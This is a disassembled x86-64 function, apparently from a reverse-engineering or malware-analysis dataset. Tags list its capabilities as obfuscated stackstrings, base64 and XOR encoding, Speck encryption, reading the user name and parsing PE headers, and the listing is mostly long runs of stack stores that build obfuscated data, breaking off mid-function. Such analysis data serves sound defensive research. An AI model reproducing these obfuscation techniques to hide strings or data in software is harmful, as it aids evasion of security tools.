Function at 0x140001000
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Encrypt data using speck
Get common file path
Get file version info
Get session user name
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x21838
call fcn.1401555c0
sub rsp, rax
mov byte [rsp + 0x40], 0x62
mov eax, 0x2b9
mov word [rsp + 0x80c], ax
mov eax, 0x84e
mov word [rsp + 0x810], ax
mov eax, 0x6f6c
mov word [rsp + 0x814], ax
mov dword [rsp + 0x26c4], 0xbf9451ba
movabs rax, 0xb6d38902497d6824
mov qword [rsp + 0x4730], rax
mov eax, 0x707d
mov word [rsp + 0x818], ax
mov eax, 0xe50
mov word [rsp + 0x81c], ax
mov byte [rsp + 0x41], 0x94
mov byte [rsp + 0x42], 0x5e
mov eax, 0x7386
mov word [rsp + 0x820], ax
movabs rax, 0xd8249524cf048896
mov qword [rsp + 0x4738], rax
movabs rax, 0x61fa7720159ddf64
mov qword [rsp + 0x4740], rax
mov byte [rsp + 0x43], 0x2d
mov eax, 0x30d
mov word [rsp + 0x824], ax
mov dword [rsp + 0x26c8], 0x625edb98
mov byte [rsp + 0x44], 0x70
mov dword [rsp + 0x26cc], 0x796f40a6
mov eax, 0xaaa
mov word [rsp + 0x828], ax
movabs rax, 0xef608a56fbf7c337
mov qword [rsp + 0x4748], rax
mov byte [rsp + 0x45], 0x6d
mov eax, 0x4ddc
mov word [rsp + 0x82c], ax
mov eax, 0xf32
mov word [rsp + 0x830], ax
mov byte [rsp + 0x46], 0x5a
mov eax, 0xa3
mov word [rsp + 0x834], ax
mov byte [rsp + 0x47], 0x79
mov eax, 0x2829
mov word [rsp + 0x838], ax
mov byte [rsp + 0x48], reloc.COMCTL32.dll_DrawInsert
mov dword [rsp + 0x26d0], 0x237a240e
mov eax, 0xf99
mov word [rsp + 0x83c], ax
mov dword [rsp + 0x26d4], 0xd62c07e
mov dword [rsp + 0x26d8], 0xe22a8a7e
mov eax, 0xec
mov word [rsp + 0x840], ax
mov dword [rsp + 0x26dc], 0x54b890d7
mov eax, 0x1e5
mov word [rsp + 0x844], ax
mov dword [rsp + 0x26e0], 0x5cfc9cba
movabs rax, 0x64913521c443b316
mov qword [rsp + 0x4750], rax
mov eax, 0x331
mov word [rsp + 0x848], ax
mov dword [rsp + 0x26e4], 0x469619f2
mov dword [rsp + 0x26e8], 0x77ea3100
movabs rax, 0x56fbe8e4046dc3db
mov qword [rsp + 0x4758], rax
movabs rax, 0x380a0263656ef328
mov qword [rsp + 0x4760], rax
movabs rax, 0xba9f9cf956fa2bef
mov qword [rsp + 0x4768], rax
mov dword [rsp + 0x26ec], 0x5a62d5fa
mov byte [rsp + 0x49], 0x7b
mov eax, 0x200b
mov word [rsp + 0x84c], ax
mov eax, 0x537
mov word [rsp + 0x850], ax
mov byte [rsp + 0x4a], DrawInsert
mov dword [rsp + 0x26f0], 0xc929cfdd
mov byte [rsp + 0x4b], 0xea
mov dword [rsp + 0x26f4], 0x7af19387
mov byte [rsp + 0x4c], 0x5f
mov dword [rsp + 0x26f8], 0x358d44f8
movabs rax, 0xddad8ff702666ce6
mov qword [rsp + 0x4770], rax
movabs rax, 0x1587a85218f274b
mov qword [rsp + 0x4778], rax
mov byte [rsp + 0x4d], 0x47
movabs rax, 0x2be89dd1ab85dd4d
mov qword [rsp + 0x4780], rax
mov dword [rsp + 0x26fc], 0xe5a8e7b0
mov eax, 0x10c
mov word [rsp + 0x854], ax
mov dword [rsp + 0x2700], 0x4272d272
mov eax, 0x402b
mov word [rsp + 0x858], ax
mov dword [rsp + 0x2704], 0x4f0b16f7
mov byte [rsp + 0x4e], 7
movabs rax, 0x6a5fd1d82eae6a6c
mov qword [rsp + 0x4788], rax
mov eax, 0x12de
mov word [rsp + 0x85c], ax
mov dword [rsp + 0x2708], 0x6f2d7e29
mov eax, 0x6f3
mov word [rsp + 0x860], ax
mov byte [rsp + 0x4f], 0x71
mov byte [rsp + 0x50], 0x32
mov byte [rsp + 0x51], 0x4d
movabs rax, 0x649c865a216c43ac
mov qword [rsp + 0x4790], rax
movabs rax, 0x18a19878eca6afff
mov qword [rsp + 0x4798], rax
mov byte [rsp + 0x52], 0xe9
movabs rax, 0xc264b53701ad745c
mov qword [rsp + 0x47a0], rax
mov byte [rsp + 0x53], 0x39
mov dword [rsp + 0x270c], 0x4e560d01
mov dword [rsp + 0x2710], 0x6bc09720
mov byte [rsp + 0x54], 0x21
mov dword [rsp + 0x2714], 0xca3ba4
mov byte [rsp + 0x55], 0xe8
mov dword [rsp + 0x2718], 0x29b32ab8
mov eax, 0x4c8c
mov word [rsp + 0x864], ax
mov dword [rsp + 0x271c], 0x4d2beb4b
movabs rax, 0x6454d799456b7807
mov qword [rsp + 0x47a8], rax
mov byte [rsp + 0x56], 0x62
movabs rax, 0x5e4f015876d945f2
mov qword [rsp + 0x47b0], rax
mov eax, 0x6c9
mov word [rsp + 0x868], ax
movabs rax, 0x68b2ff1fb2ee60b4
mov qword [rsp + 0x47b8], rax
movabs rax, 0x7d8ed8e802fae481
mov qword [rsp + 0x47c0], rax
mov byte [rsp + 0x57], 0
mov dword [rsp + 0x2720], 0x138da92c
mov eax, 0xff7
mov word [rsp + 0x86c], ax
movabs rax, 0x29d2d16fd32c6024
mov qword [rsp + 0x47c8], rax
movabs rax, 0x64f36666342f1bce
mov qword [rsp + 0x47d0], rax
mov byte [rsp + 0x58], 0x97
mov byte [rsp + 0x59], 0xc8
mov eax, 0x304
mov word [rsp + 0x870], ax
mov byte [rsp + 0x5a], 0x40
mov dword [rsp + 0x2724], 0x2662747b
mov eax, 0xa73
mov word [rsp + 0x874], ax
mov byte [rsp + 0x5b], 0x6d
mov eax, 0x69ce
mov word [rsp + 0x878], ax
mov dword [rsp + 0x2728], 0x8fe58a7
mov byte [rsp + 0x5c], 0x41
mov eax, 0xf78
mov word [rsp + 0x87c], ax
movabs rax, 0x2e74edb39ec14460
mov qword [rsp + 0x47d8], rax
mov byte [rsp + 0x5d], 0x6a
mov dword [rsp + 0x272c], 0x49b37b85
mov dword [rsp + 0x2730], 0x76b1ea5d
mov dword [rsp + 0x2734], 0x5e5e0889
movabs rax, 0x21dd91aa47363492
mov qword [rsp + 0x47e0], rax
mov dword [rsp + 0x2738], 0x38e86541
mov dword [rsp + 0x273c], 0x8ae4322c
mov dword [rsp + 0x2740], 0xd94722ac
mov eax, 0x2cbc
mov word [rsp + 0x880], ax
mov dword [rsp + 0x2744], 0xd5bef3b
mov eax, 0x1400
mov word [rsp + 0x884], ax
mov eax, 0xc15
mov word [rsp + 0x888], ax
mov dword [rsp + 0x2748], 0x3cd3a5ca
mov byte [rsp + 0x5e], 0x5e
mov eax, 0x5a9f
mov word [rsp + 0x88c], ax
mov dword [rsp + 0x274c], 0x351e262c
mov eax, 0x9de
mov word [rsp + 0x890], ax
mov dword [rsp + 0x2750], 0x7e2395ad
mov byte [rsp + 0x5f], 0xe5
movabs rax, 0x9503e1cff9ec0ec0
mov qword [rsp + 0x47e8], rax
movabs rax, 0x1a839be1a414e3e3
mov qword [rsp + 0x47f0], rax
movabs rax, 0x191c4e7bbaa79e60
mov qword [rsp + 0x47f8], rax
movabs rax, 0x15620637624a7a44
mov qword [rsp + 0x4800], rax
mov byte [rsp + 0x60], 0x1b
mov dword [rsp + 0x2754], 0x81eeb5
mov eax, 0xd46
mov word [rsp + 0x894], ax
mov dword [rsp + 0x2758], 0x9184b21e
mov byte [rsp + 0x61], 0x13
mov byte [rsp + 0x62], 0x8d
mov eax, 0xcf
mov word [rsp + 0x898], ax
mov eax, 0xbc7
mov word [rsp + 0x89c], ax
mov dword [rsp + 0x275c], 0x7346f0c9
mov dword [rsp + 0x2760], 0x86d9a439
movabs rax, 0x6146d2432b512dcd
mov qword [rsp + 0x4808], rax
mov dword [rsp + 0x2764], 0x1ba34abe
mov eax, 0x447f
mov word [rsp + 0x8a0], ax
mov dword [rsp + 0x2768], 0xdbd35607
lea rax, [rsp + 0x4728]
lea rcx, str.Dotted
mov rdi, rax
mov rsi, rcx
mov ecx, 7
rep movsb byte [rdi], byte [rsi]
movabs rax, 0x6761a0bada4f4e29
mov qword [rsp + 0x4810], rax
movabs rax, 0x79183746738400e4
mov qword [rsp + 0x4818], rax
movabs rax, 0x124d5fa5755f892b
mov qword [rsp + 0x4820], rax
mov byte [rsp + 0x63], 0x9a
mov byte [rsp + 0x64], 0xe5
mov byte [rsp + 0x65], 0x52
mov eax, 0x6ddd
mov word [rsp + 0x8a4], ax
mov dword [rsp + 0x276c], 0x35def467
mov byte [rsp + 0x66], 0x7a
movabs rax, 0x326b991ac9d5d906
mov qword [rsp + 0x4828], rax
mov byte [rsp + 0x67], 0x65
mov byte [rsp + 0x68], 0x95
mov byte [rsp + 0x69], 0x50
movabs rax, 0x509cfdfb2f11a34f
mov qword [rsp + 0x4830], rax
movabs rax, 0x1341f1e04cac9588
mov qword [rsp + 0x4838], rax
mov byte [rsp + 0x6a], 0x16
mov eax, 0xa13
mov word [rsp + 0x8a8], ax
mov eax, 0x6cff
mov word [rsp + 0x8ac], ax
mov eax, 0x17ad
mov word [rsp + 0x8b0], ax
movabs rax, 0x237da8e2a81ba3a8
mov qword [rsp + 0x4840], rax
mov dword [rsp + 0x2770], 0x5a6f37a2
mov eax, 0xef7
mov word [rsp + 0x8b4], ax
mov eax, 0x370
mov word [rsp + 0x8b8], ax
movabs rax, 0x68c374053ab1de22
mov qword [rsp + 0x4848], rax
movabs rax, 0x5032fe8801731d44
mov qword [rsp + 0x4850], rax
mov byte [rsp + 0x6b], 0x32
movabs rax, 0x132d336fcb8a227
mov qword [rsp + 0x4858], rax
movabs rax, 0xdcc4a257364b26a
mov qword [rsp + 0x4860], rax
movabs rax, 0x484db5f1d6489a26
mov qword [rsp + 0x4868], rax
mov dword [rsp + 0x2774], 0x515a2019
mov eax, 0xe74
mov word [rsp + 0x8bc], ax
mov dword [rsp + 0x2778], 0x2a71cbc9
mov byte [rsp + 0x6c], 0xf2
mov byte [rsp + 0x6d], 0x98
mov eax, 0xfc6
mov word [rsp + 0x8c0], ax
mov byte [rsp + 0x6e], 0x2a
mov eax, 0x222f
mov word [rsp + 0x8c4], ax
movabs rax, 0x8d4c14e130fe5b23
mov qword [rsp + 0x4870], rax
mov dword [rsp + 0x277c], 0x578d34a5
mov dword [rsp + 0x2780], 0x60cd98a0
movabs rax, 0x868566ebf3441f2e
mov qword [rsp + 0x4878], rax
mov eax, 0x24b
mov word [rsp + 0x8c8], ax
mov dword [rsp + 0x2784], 0x10f91396
mov eax, 0x4fc
mov word [rsp + 0x8cc], ax
mov eax, 0x679f
mov word [rsp + 0x8d0], ax
movabs rax, 0x77560cdac9a25017
mov qword [rsp + 0x4880], rax
mov byte [rsp + 0x6f], 0x1b
mov byte [rsp + 0x70], 0x4b
mov byte [rsp + 0x71], 0x6c
movabs rax, 0x15f694246030bc78
mov qword [rsp + 0x4888], rax
mov eax, 0x5e0
mov word [rsp + 0x8d4], ax
movabs rax, 0x416aca55ed517d83
mov qword [rsp + 0x4890], rax
movabs rax, 0x5fbf9affc74f3121
mov qword [rsp + 0x4898], rax
mov dword [rsp + 0x2788], 0xeaaf893a
mov eax, 0x49e4
mov word [rsp + 0x8d8], ax
mov dword [rsp + 0x278c], 0x974f812
movabs rax, 0xa1b8fd4cbf877e44
mov qword [rsp + 0x48a0], rax
mov eax, 0x19f6
mov word [rsp + 0x8dc], ax
mov eax, 0x356b
mov word [rsp + 0x8e0], ax
mov dword [rsp + 0x2790], 0x5c5128ec
mov byte [rsp + 0x72], 0x3e
movabs rax, 0x6d4fe8f40cd077f7
mov qword [rsp + 0x48a8], rax
movabs rax, 0xd7b2c9f2cd699535
mov qword [rsp + 0x48b0], rax
mov dword [rsp + 0x2794], 0x2b56a184
movabs rax, 0x10f6c463953f15b1
mov qword [rsp + 0x48b8], rax
mov dword [rsp + 0x2798], 0x5940ce4c
mov byte [rsp + 0x73], 0x3f
mov byte [rsp + 0x74], 0xee
mov dword [rsp + 0x279c], 0xc4e9f0c0
mov eax, 0xac0
mov word [rsp + 0x8e4], ax
mov byte [rsp + 0x75], 0x7c
mov eax, 0xff
mov word [rsp + 0x8e8], ax
mov dword [rsp + 0x27a0], 0xbdfe2dff
movabs rax, 0x62d10cd0617fc7fa
mov qword [rsp + 0x48c0], rax
mov byte [rsp + 0x76], 0x88
mov byte [rsp + 0x77], 0x69
mov dword [rsp + 0x27a4], 0x7402238
mov eax, 0xbfd
mov word [rsp + 0x8ec], ax
movabs rax, 0x57526d7c0f3002cd
mov qword [rsp + 0x48c8], rax
mov eax, 0x23fa
mov word [rsp + 0x8f0], ax
mov eax, 0x2636
mov word [rsp + 0x8f4], ax
movabs rax, 0xbf5ba7e5a367b879
mov qword [rsp + 0x48d0], rax
mov eax, 0x96c
mov word [rsp + 0x8f8], ax
mov dword [rsp + 0x27a8], 0x4144cb8a
mov eax, 0x51cc
mov word [rsp + 0x8fc], ax
mov byte [rsp + 0x78], 0xb7
mov eax, 0xa84
mov word [rsp + 0x900], ax
mov dword [rsp + 0x27ac], 0x7eafb88
mov byte [rsp + 0x79], 0x27
movabs rax, 0x6b95edb271cd9f32
mov qword [rsp + 0x48d8], rax
mov byte [rsp + 0x7a], 0x47
mov eax, 0x6bcd
mov word [rsp + 0x904], ax
mov byte [rsp + 0x7b], 0x38
mov byte [rsp + 0x7c], 0x37
movabs rax, 0x970c8a81eb91b653
mov qword [rsp + 0x48e0], rax
mov dword [rsp + 0x27b0], 0x3eee6ef8
mov eax, 0x1558
mov word [rsp + 0x908], ax
movabs rax, 0x128666843065ab36
mov qword [rsp + 0x48e8], rax
mov byte [rsp + 0x7d], 0x7c
mov eax, 0x7d98
mov word [rsp + 0x90c], ax
mov dword [rsp + 0x27b4], 0x53e1dfcb
mov eax, 0x2bdd
mov word [rsp + 0x910], ax
mov byte [rsp + 0x7e], 0x1e
mov dword [rsp + 0x27b8], 0x92ef3fd0
mov eax, 0x6870
mov word [rsp + 0x914], ax
mov eax, 0x7f23
mov word [rsp + 0x918], ax
movabs rax, 0x752cfabb6f028d53
mov qword [rsp + 0x48f0], rax
mov dword [rsp + 0x27bc], 0x70b58bcd
mov eax, 0x5e7
mov word [rsp + 0x91c], ax
mov eax, SetWindowSubclass
mov word [rsp + 0x920], ax
mov dword [rsp + 0x27c0], 0x839b9574
movabs rax, 0x747fd8a197319b8f
mov qword [rsp + 0x48f8], rax
mov eax, 0x55c0
mov word [rsp + 0x924], ax
mov eax, 0x28ff
mov word [rsp + 0x928], ax
mov dword [rsp + 0x27c4], 0x782528c0
mov byte [rsp + 0x7f], 0x2f
mov eax, 0xb65
mov word [rsp + 0x92c], ax
mov dword [rsp + 0x27c8], 0x2c54931
mov eax, 0xd05
mov word [rsp + 0x930], ax
mov dword [rsp + 0x27cc], 0x3f6b7226
mov eax, 0xe09
mov word [rsp + 0x934], ax
mov dword [rsp + 0x27d0], 0xe7de0d39
mov byte [rsp + 0x80], 0x62
mov dword [rsp + 0x27d4], 0x7313a01b
mov eax, 0x25e
mov word [rsp + 0x938], ax
mov dword [rsp + 0x27d8], 0x3e6df436
mov dword [rsp + 0x27dc], 0x77fad263
mov byte [rsp + 0x81], 0xec
movabs rax, 0x27e9ef2733a68549
mov qword [rsp + 0x4900], rax
mov eax, 0x1af7
mov word [rsp + 0x93c], ax
movabs rax, 0x5e0af40a1b526866
mov qword [rsp + 0x4908], rax
movabs rax, 0x53858a9d844b0349
mov qword [rsp + 0x4910], rax
mov byte [rsp + 0x82], 0x73
mov eax, 0x6773
mov word [rsp + 0x940], ax
mov byte [rsp + 0x83], 0x75
mov eax, 0x419
mov word [rsp + 0x944], ax
mov dword [rsp + 0x27e0], 0x33125b96
mov byte [rsp + 0x84], 0x35
mov eax, 0x5e43
mov word [rsp + 0x948], ax
mov eax, 0x2011
mov word [rsp + 0x94c], ax
mov eax, 0x1a86
mov word [rsp + 0x950], ax
mov byte [rsp + 0x85], 0xed
mov eax, 0x5a72
mov word [rsp + 0x954], ax
movabs rax, 0x2e71252444476841
mov qword [rsp + 0x4918], rax
mov byte [rsp + 0x86], 0x1e
mov eax, 0x1e
mov word [rsp + 0x958], ax
mov dword [rsp + 0x27e4], 0x708f83a9
movabs rax, 0x19119e505b744a41
mov qword [rsp + 0x4920], rax
mov eax, 0x2cbd
mov word [rsp + 0x95c], ax
mov dword [rsp + 0x27e8], 0x26b6b72b
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20db0]
call fcn.140155520
mov eax, 0xcc8
mov word [rsp + 0x960], ax
mov byte [rsp + 0x87], 0x3e
mov dword [rsp + 0x27ec], 0x4d18a735
mov eax, 0xd10
mov word [rsp + 0x964], ax
movabs rax, 0x72f02d6549499f57
mov qword [rsp + 0x4928], rax
mov byte [rsp + 0x88], 0x57
mov dword [rsp + 0x27f0], 0x9eac5d4b
mov byte [rsp + 0x89], 0xe2
mov eax, 0x3305
mov word [rsp + 0x968], ax
mov dword [rsp + 0x27f4], 0x3033cc9d
mov byte [rsp + 0x8a], 0xfc
mov eax, 0x8ee
mov word [rsp + 0x96c], ax
mov byte [rsp + 0x8b], 0x76
mov eax, 0x653d
mov word [rsp + 0x970], ax
mov byte [rsp + 0x8c], 0xb9
movabs rax, 0x4d158a49d4dae7b7
mov qword [rsp + 0x4930], rax
mov eax, 0x5f57
mov word [rsp + 0x974], ax
mov dword [rsp + 0x27f8], 0x978c9a05
mov dword [rsp + 0x27fc], 0x3ddfed5d
mov eax, 0x853
mov word [rsp + 0x978], ax
mov eax, 0x92e
mov word [rsp + 0x97c], ax
mov byte [rsp + 0x8d], 0x65
movabs rax, 0x58d2723b86fcee88
mov qword [rsp + 0x4938], rax
mov eax, 0x6ae
mov word [rsp + 0x980], ax
movabs rax, 0x1b878204849d3715
mov qword [rsp + 0x4940], rax
mov dword [rsp + 0x2800], 0xbdd81168
mov dword [rsp + 0x2804], 0x9ff2f0f5
mov dword [rsp + 0x2808], 0x4ddbe885
mov byte [rsp + 0x8e], 0x7a
mov dword [rsp + 0x280c], 0xecad7736
mov dword [rsp + 0x2810], 0x5dec6b51
mov byte [rsp + 0x8f], 0x9c
movabs rax, 0x35c206189a1fdb86
mov qword [rsp + 0x4948], rax
mov eax, 0x4c34
mov word [rsp + 0x984], ax
mov dword [rsp + 0x2814], 0x1aa68502
mov eax, 0x7a2
mov word [rsp + 0x988], ax
mov byte [rsp + 0x90], 0x4a
mov byte [rsp + 0x91], DrawInsert
movabs rax, 0xe4088d35f0b75b75
mov qword [rsp + 0x4950], rax
mov dword [rsp + 0x2818], 0xd8bab8b1
mov dword [rsp + 0x281c], 0xd1a56b06
mov dword [rsp + 0x2820], 0x7a712752
movabs rax, 0x66107760cfe0f419
mov qword [rsp + 0x4958], rax
movabs rax, 0x1bc52ca54152d8dc
mov qword [rsp + 0x4960], rax
mov eax, 0x5d75
mov word [rsp + 0x98c], ax
movabs rax, 0x7aa898046a70e610
mov qword [rsp + 0x4968], rax
mov dword [rsp + 0x2824], 0xcae560a
mov byte [rsp + 0x92], 0x72
movabs rax, 0x2cf01ec54bb50cac
mov qword [rsp + 0x4970], rax
mov byte [rsp + 0x93], 5
mov dword [rsp + 0x2828], 0xfcf750a8
mov byte [rsp + 0x94], 0
mov dword [rsp + 0x282c], 0x20d98ad9
mov dword [rsp + 0x2830], 0x7852c99d
movabs rax, 0xab28643539ffa139
mov qword [rsp + 0x4978], rax
mov byte [rsp + 0x95], 0xea
mov dword [rsp + 0x2834], 0x1fed8bfb
mov eax, 0x10bb
mov word [rsp + 0x990], ax
mov dword [rsp + 0x2838], 0x36c382f4
mov dword [rsp + 0x283c], 0x7a10bca5
mov dword [rsp + 0x2840], 0x496de058
mov dword [rsp + 0x2844], 0x40ae7475
mov eax, 0xecd
mov word [rsp + 0x994], ax
movabs rax, 0x2b6db582e59f7be
mov qword [rsp + 0x4980], rax
mov eax, 0x6de4
mov word [rsp + 0x998], ax
mov dword [rsp + 0x2848], 0xb241b7e8
mov eax, 0x5da
mov word [rsp + 0x99c], ax
mov byte [rsp + 0x96], 0x3e
mov dword [rsp + 0x284c], 0x62a748f4
mov byte [rsp + 0x97], 0x7c
mov eax, 0x42a
mov word [rsp + 0x9a0], ax
mov eax, 0x4dc8
mov word [rsp + 0x9a4], ax
mov eax, 0x26d
mov word [rsp + 0x9a8], ax
movabs rax, 0x7af6242d032ab38c
mov qword [rsp + 0x4988], rax
mov eax, 0x6957
mov word [rsp + 0x9ac], ax
mov byte [rsp + 0x98], 0x87
mov eax, 0x684b
mov word [rsp + 0x9b0], ax
movabs rax, 0x677bf50d8cb6c3d0
mov qword [rsp + 0x4990], rax
mov dword [rsp + 0x2850], 0x805ff250
mov byte [rsp + 0x99], 0xbd
mov dword [rsp + 0x2854], 0x558bd0a6
movabs rax, 0xce6c674b8ae895bf
mov qword [rsp + 0x4998], rax
movabs rax, 0x2dd6104dcda80ab2
mov qword [rsp + 0x49a0], rax
mov dword [rsp + 0x2858], 0x28baf8c
movabs rax, 0x162dad274624698d
mov qword [rsp + 0x49a8], rax
mov byte [rsp + 0x9a], 0x8f
mov eax, 0x16c0
mov word [rsp + 0x9b4], ax
movabs rax, 0x7b1f830d0407846
mov qword [rsp + 0x49b0], rax
mov byte [rsp + 0x9b], 0x5e
mov eax, 0x33c
mov word [rsp + 0x9b8], ax
mov eax, 0x7f88
mov word [rsp + 0x9bc], ax
mov dword [rsp + 0x285c], 0x2cea6663
movabs rax, 0x95bd6868a3d78799
mov qword [rsp + 0x49b8], rax
mov eax, 0xbfb
mov word [rsp + 0x9c0], ax
mov dword [rsp + 0x2860], 0x54063e7e
mov dword [rsp + 0x2864], 0xe2ac446d
mov dword [rsp + 0x2868], 0x30d177c
movabs rax, 0x1a434535162ddce0
mov qword [rsp + 0x49c0], rax
mov eax, 0x60f2
mov word [rsp + 0x9c4], ax
mov byte [rsp + 0x9c], 0x22
mov byte [rsp + 0x9d], 0x6b
movabs rax, 0x270e3f2037b99440
mov qword [rsp + 0x49c8], rax
mov eax, 0x121
mov word [rsp + 0x9c8], ax
mov byte [rsp + 0x9e], 0x37
mov dword [rsp + 0x286c], 0x8f62b97
mov dword [rsp + 0x2870], 0x81f70eab
mov dword [rsp + 0x2874], 0x105e01fc
mov eax, 0x45a6
mov word [rsp + 0x9cc], ax
movabs rax, 0x697cf280fecd4568
mov qword [rsp + 0x49d0], rax
mov byte [rsp + 0x9f], 0x3b
mov byte [rsp + 0xa0], 0x8b
movabs rax, 0x63c526d18b148461
mov qword [rsp + 0x49d8], rax
mov eax, 0x61f9
mov word [rsp + 0x9d0], ax
mov dword [rsp + 0x2878], 0x2ad67c19
mov byte [rsp + 0xa1], 0x29
mov eax, 0x2ca
mov word [rsp + 0x9d4], ax
mov eax, 0x74d4
mov word [rsp + 0x9d8], ax
mov byte [rsp + 0xa2], 0x7a
mov dword [rsp + 0x287c], 0x62c551dc
mov dword [rsp + 0x2880], 0x1bfa08a8
movabs rax, 0xba3cb91b9aed413a
mov qword [rsp + 0x49e0], rax
mov byte [rsp + 0xa3], 0x37
movabs rax, 0x7199ee781f63b7b6
mov qword [rsp + 0x49e8], rax
mov eax, 0xd5b
mov word [rsp + 0x9dc], ax
mov byte [rsp + 0xa4], 0xc4
mov dword [rsp + 0x2884], 0x4e90d9f7
movabs rax, 0x31a8fa733ab75865
mov qword [rsp + 0x49f0], rax
mov eax, 0xb07
mov word [rsp + 0x9e0], ax
movabs rax, 0xd30a785165c9b7ad
mov qword [rsp + 0x49f8], rax
mov dword [rsp + 0x2888], 0x753fbe45
movabs rax, 0xba2290f1e4d75b2
mov qword [rsp + 0x4a00], rax
mov dword [rsp + 0x288c], 0xdbc12916
mov dword [rsp + 0x2890], 0xacb883ff
mov dword [rsp + 0x2894], 0x1a3bf2c5
mov eax, 0x1e8a
mov word [rsp + 0x9e4], ax
movabs rax, 0x6eb4c45db073fc36
mov qword [rsp + 0x4a08], rax
mov eax, 0x1d2
mov word [rsp + 0x9e8], ax
mov byte [rsp + 0xa5], 0x99
mov byte [rsp + 0xa6], 0x2a
mov eax, 0x6782
mov word [rsp + 0x9ec], ax
mov eax, 0x40c
mov word [rsp + 0x9f0], ax
mov dword [rsp + 0x2898], 0x30ff7d02
mov dword [rsp + 0x289c], 0x5c42fcf5
mov dword [rsp + 0x28a0], 0x4c68b5d9
movabs rax, 0x7faed2d21ee12afc
mov qword [rsp + 0x4a10], rax
mov byte [rsp + 0xa7], 0x2d
movabs rax, 0x2b85e96fc485abcf
mov qword [rsp + 0x4a18], rax
mov byte [rsp + 0xa8], 0x5d
movabs rax, 0x95b2b94ead816d68
mov qword [rsp + 0x4a20], rax
movabs rax, 0x74f02c0e250cd48f
mov qword [rsp + 0x4a28], rax
mov byte [rsp + 0xa9], 0x83
mov dword [rsp + 0x28a4], 0x18f0b3c3
mov eax, 0x534b
mov word [rsp + 0x9f4], ax
mov byte [rsp + 0xaa], 0xf1
mov dword [rsp + 0x28a8], 0x74ddf193
mov dword [rsp + 0x28ac], 0xb8ca0cc1
mov dword [rsp + 0x28b0], 0x70cd7aed
mov byte [rsp + 0xab], 0x8b
mov eax, 0x19f
mov word [rsp + 0x9f8], ax
mov byte [rsp + 0xac], 0xa6
mov dword [rsp + 0x28b4], 0x43a0de28
mov eax, 0x8cc
mov word [rsp + 0x9fc], ax
mov dword [rsp + 0x28b8], 0x400032a8
mov eax, 0x676
mov word [rsp + 0xa00], ax
mov eax, 0x2312
mov word [rsp + 0xa04], ax
mov eax, 0x505
mov word [rsp + 0xa08], ax
mov eax, 0xae5
mov word [rsp + 0xa0c], ax
mov byte [rsp + 0xad], 0x13
mov eax, 0x5e7
mov word [rsp + 0xa10], ax
mov byte [rsp + 0xae], reloc.COMCTL32.dll_LBItemFromPt
movabs rax, 0xf25740379901f41d
mov qword [rsp + 0x4a30], rax
mov dword [rsp + 0x28bc], 0x4b8af168
mov byte [rsp + 0xaf], 0xf3
mov eax, 0x5b64
mov word [rsp + 0xa14], ax
mov dword [rsp + 0x28c0], 0x6646a5f6
mov byte [rsp + 0xb0], 0x62
mov eax, 0x943
mov word [rsp + 0xa18], ax
mov dword [rsp + 0x28c4], 0x378bbd32
mov dword [rsp + 0x28c8], 0x55e9bc73
mov dword [rsp + 0x28cc], 0x9447a7ca
mov dword [rsp + 0x28d0], 0x43acc312
mov dword [rsp + 0x28d4], 0x724ae8a6
mov dword [rsp + 0x28d8], 0xa967198c
mov byte [rsp + 0xb1], 0x44
mov dword [rsp + 0x28dc], 0x3d67fa36
mov eax, 0x524
mov word [rsp + 0xa1c], ax
mov eax, 0x65d5
mov word [rsp + 0xa20], ax
mov byte [rsp + 0xb2], 0x3e
mov dword [rsp + 0x28e0], 0x5d4cfe40
mov byte [rsp + 0xb3], 0x40
mov eax, 0xec7
mov word [rsp + 0xa24], ax
mov dword [rsp + 0x28e4], 0x15b245da
mov byte [rsp + 0xb4], 0x58
movabs rax, 0x8f49d88b82a661d6
mov qword [rsp + 0x4a38], rax
mov eax, 0xbe9
mov word [rsp + 0xa28], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20dc8]
call fcn.140155520
movabs rax, 0xb2cb4a98b003c3f
mov qword [rsp + 0x4a40], rax
mov byte [rsp + 0xb5], 0xe7
mov byte [rsp + 0xb6], 0x19
mov byte [rsp + 0xb7], 0xee
mov eax, 0x427
mov word [rsp + 0xa2c], ax
mov byte [rsp + 0xb8], 0xc5
mov dword [rsp + 0x28e8], 0x70dd97fc
movabs rax, 0x113792ba0cc334b9
mov qword [rsp + 0x4a48], rax
mov dword [rsp + 0x28ec], 0x70ff4d79
movabs rax, 0x1228398836947ba4
mov qword [rsp + 0x4a50], rax
mov dword [rsp + 0x28f0], 0x3d82f8f1
mov byte [rsp + 0xb9], 0x4d
mov dword [rsp + 0x28f4], 0xb1c3bb0
movabs rax, 0x8d7ea2ab6f5baaea
mov qword [rsp + 0x4a58], rax
mov dword [rsp + 0x28f8], 0xb0d21ef3
movabs rax, 0x96d17884634606a8
mov qword [rsp + 0x4a60], rax
mov byte [rsp + 0xba], 0x4a
mov dword [rsp + 0x28fc], 0xae460f2
mov byte [rsp + 0xbb], 0x5e
movabs rax, 0xf4c4234c68cba103
mov qword [rsp + 0x4a68], rax
mov byte [rsp + 0xbc], 0x30
mov byte [rsp + 0xbd], 0x99
mov eax, 0xcf9
mov word [rsp + 0xa30], ax
mov eax, 0xec
mov word [rsp + 0xa34], ax
mov eax, 0x686
mov word [rsp + 0xa38], ax
movabs rax, 0x1d92c5ce8515bf4b
mov qword [rsp + 0x4a70], rax
movabs rax, 0x20c3e4750ad03ccf
mov qword [rsp + 0x4a78], rax
mov dword [rsp + 0x2900], 0x5bb6387d
mov dword [rsp + 0x2904], 0xc1690a9f
mov eax, 0xc85
mov word [rsp + 0xa3c], ax
movabs rax, 0x7f2d11e81bcca054
mov qword [rsp + 0x4a80], rax
mov dword [rsp + 0x2908], 0x4d491bc3
movabs rax, 0x415a43328a15d48a
mov qword [rsp + 0x4a88], rax
mov eax, 0x1b24
mov word [rsp + 0xa40], ax
mov eax, 0x4da
mov word [rsp + 0xa44], ax
mov byte [rsp + 0xbe], 0xce
mov byte [rsp + 0xbf], 0x71
mov dword [rsp + 0x290c], 0x34bf2ce2
mov eax, 0x353
mov word [rsp + 0xa48], ax
mov eax, 0x427
mov word [rsp + 0xa4c], ax
mov dword [rsp + 0x2910], 0x1a4a3d63
mov dword [rsp + 0x2914], 0x4e663290
